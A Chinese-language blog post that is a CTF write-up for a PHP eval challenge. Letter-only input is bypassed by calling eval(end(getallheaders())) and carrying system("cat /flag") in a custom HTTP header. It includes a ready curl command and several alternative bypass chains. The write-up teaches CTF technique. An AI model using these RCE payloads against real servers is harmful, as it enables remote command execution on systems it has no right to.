ruye07

导航

CTF Web — PHP 无数字/特殊字符 RCE 绕过

原题:isctf2025 Web ezrce

image

题目源码

<?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
        eval($code);
    }else{
        die('师傅,你想拿flag?');
    }
}

限制分析

正则 ^[A-Za-z\(\)_;]+$ 只允许:

  • 大小写字母 A-Z a-z
  • 括号 ()
  • 下划线 _
  • 分号 ;

禁止的字符: 数字、$(变量符号)、引号、反引号、点号、方括号、空格等所有其他字符。

→ 无法直接写字符串参数,不能调用 system("ls") 这种带引号/空格的函数调用。

核心思路

code 参数只写合法字符的函数调用链,真正的 payload 藏在 HTTP 自定义 Header 中

code(执行引擎)  ←  regex 放行,只写函数名
header(数据注入) ←  不受 regex 约束,可写任意字符

攻击步骤

1. 发包构造

在 HTTP 请求中添加自定义头 abc,值为要执行的 PHP 代码:

GET /?code=eval(end(getallheaders())); HTTP/1.1
Host: challenge.imxbt.cn:30812
...
abc: system("cat /flag");

注意: abc: 冒号后必须有空格,否则 HTTP 头解析失败。

2. 函数链解释

eval(end(getallheaders()));
//   ↑   ↑
//   │   └── 读取最后一个 HTTP Header 的值 = system("cat /flag");
//   └────── 把取到的字符串当作 PHP 代码执行
函数 作用
getallheaders() 获取所有 HTTP 请求头的关联数组
end() 取数组最后一个元素的值
reset() 取数组第一个元素的值(按需替换)
eval() 将字符串作为 PHP 代码执行

3. curl 一键命令

curl -H "abc: system(\"cat /flag\");" "http://challenge.imxbt.cn:30812/?code=eval(end(getallheaders()));"

调试技巧

如果执行不成功,先 debug header 数组:

code=var_dump(getallheaders());

观察:

  • 自定义 header 是否出现在数组中
  • 它在第几个位置(决定用 end() 还是 reset()
  • 值是否正确传递

其他解题思路

方法 说明
dirname() 逐层上翻 dirname(__FILE__) 层层往上走到根目录
array_rand() 抽签 在根目录随机抽文件,抽到 flag 为止
get_defined_vars() 获取所有已定义变量,外加定义其他变量来传值
session_id() + Cookie Cookie 传 PHPSESSID=cat /flag*session_start() 后读取(需未输出 header)

知识要点

  1. HTTP 协议:允许任意自定义请求头,服务器/Nginx 不会拦截
  2. getallheaders():PHP 读取原始 HTTP 头,仅 Apache/FastCGI 模块下可用
  3. eval() vs assert():低版本 PHP 中 assert() 也可执行字符串代码
  4. RCE 本质:让服务器执行攻击者控制的代码,拿到系统命令执行权限

posted on 2026-05-18 23:59  ruye07  阅读(47)  评论(0)    收藏  举报